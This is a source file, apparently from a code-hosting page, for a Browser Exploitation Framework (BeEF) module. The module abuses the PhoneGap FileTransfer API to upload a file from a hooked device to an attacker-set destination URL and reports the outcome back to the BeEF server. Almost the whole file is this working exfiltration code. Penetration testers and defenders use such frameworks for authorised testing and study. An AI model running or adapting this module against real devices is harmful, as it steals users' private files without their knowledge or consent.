Path: blob/master/modules/phonegap/phonegap_file_upload/command.js
1154 views
//1// Copyright (c) 2006-2025 Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56// phonegap_upload7//8beef.execute(function() {9var result = 'unchanged';1011// TODO return result to beef12function win(r) {13//alert(r.response);14result = 'success';15}1617// TODO return result to beef18function fail(error) {19//alert('error! errocode =' + error.code);20result = 'fail';21}2223// (ab)use phonegap api to upload file24function beef_upload(file_path, upload_url) {2526var options = new FileUploadOptions();27options.fileKey="content";2829// grab filename from the filepath30re = new RegExp("([^/]*)$");31options.fileName = file_path.match(re)[0];32//options.fileName="myrecording.wav";// TODO grab from filepath3334// needed?35var params = new Object();36params.value1 = "test";37params.value2 = "param";38options.params = params;39// needed?4041var ft = new FileTransfer();42ft.upload(file_path, upload_url, win, fail, options);43}4445beef_upload('<%== @file_upload_src %>', '<%== @file_upload_dst %>');4647beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); // move this to inside beef_upload48});495051